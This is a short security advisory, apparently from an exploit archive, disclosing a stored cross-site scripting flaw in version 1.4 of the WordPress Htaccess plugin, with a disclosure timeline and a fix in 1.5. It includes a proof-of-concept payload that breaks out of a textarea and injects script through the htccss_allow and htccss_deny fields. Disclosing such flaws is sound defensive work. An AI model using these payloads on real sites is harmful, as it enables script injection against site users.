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WordPress Htaccess 1.4 Cross Site Scripting

WordPress Htaccess 1.4 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Htaccess plugin version 1.4 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 6fb9860b4ef89cb5804a2e6ac69fa470

WordPress Htaccess 1.4 Cross Site Scripting

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Plugin Name : Htaccess

Effected Version : 1.4 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=htaccess.php

htccss_allow = “></textarea><script>alert(1)</script>

htccss_deny = “></textarea><script>alert(2)</script>

Vulnerable Parameter : htccss_allow, htccss_deny

Type of XSS : Stored

Fixed in : 1.5

http://wordpress.org/plugins/htaccess/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

The plugin Htaccess allows to controll access to your website. Access can be controlled based on the client's hostname, IP address, or other characteristics of the client's request. It is very simple and has just two the directives like Allow and Deny.

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